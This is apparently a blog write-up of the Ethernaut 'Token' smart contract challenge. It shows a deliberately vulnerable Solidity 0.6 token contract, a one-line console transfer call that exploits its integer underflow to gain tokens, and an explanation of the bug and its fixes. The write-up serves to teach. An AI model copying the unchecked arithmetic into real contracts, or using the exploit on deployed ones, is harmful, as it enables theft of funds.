Token - Level 05
Tags: 100daystooffload, ethernaut, ethereum, solidity
Published: 2023-08-04 09:16:48

## Problem statement

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

* What is an odometer?

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, __Get new instance__. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and make a transfer, where `_to` is equal to **'0x95D34980095380851902ccd9A1Fb4C813C2cb639'** (any valid address will work, and `_value` equal to **21**.

```javascript
await contract.transfer('0x95D34980095380851902ccd9A1Fb4C813C2cb639', 21)
```

Check that you have more than 20 tokens.

```javascript
await contract.balanceOf(player)
```

If the balance is more than 20, then finish up the challenge by clicking on the button, **Submit instance**, to commit and update the progress on the ethernaut contract.

## Explanation

The *Token* contract only has one function that modifies the state and therefore the vulnerability of the contract probably lies in that function.

```solidity
  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }
```

As we can see there are only arithmetic operations made in this function, however these kind of operations are classical causes to software bugs. It boils down to how we represent numbers in computers and programming languages.

The input variable `_value` and the mapping variable `balances` use the type **uint**. This means that these variables can only represent numbers between **0** to **(2^256)-1**, inclusive, in simpler terms, *"only positive values"*.

If you make an arithmetic operation between two *uint*'s the result has to be of the type *uint* also.

This call to the *transfer* function

```javascript
await contract.transfer('0x95D34980095380851902ccd9A1Fb4C813C2cb639', 21)
```

will look like this when substituting the values in the Solidity code.

```javascript
// original code
require(balances[msg.sender] - _value >= 0);

// substitute the variables to actual values used
require(20 - 21 >= 0);

// after arithmetic calculation
require(115792089237316195423570985008687907853269984665640564039457584007913129639935 >= 0);
```

The expression `20 - 21` can't be `-1` since the result has to be a positive number (uint), therefore an *overflow* is occurring and producing the big number, and there is the vulnerability.

It's important to know that this behavior has changed with recent version of [Solidity](https://docs.soliditylang.org/en/v0.8.21/080-breaking-changes.html#silent-changes-of-the-semantics) (from v0.8.0), but this contract is on version

```solidity
pragma solidity ^0.6.0;
```

so that's an important factor when looking for vulnerabilities in a contract. To prevent this problem in older contracts you may use [SafeMath](https://docs.openzeppelin.com/contracts/2.x/api/math) from OpenZeppelin.

The conclusion from the author of this level.

![Conclusion](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bivelq4f3j8d2xlhgl8k.png)
## Resources

* [Token](https://ethernaut.openzeppelin.com/level/5) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation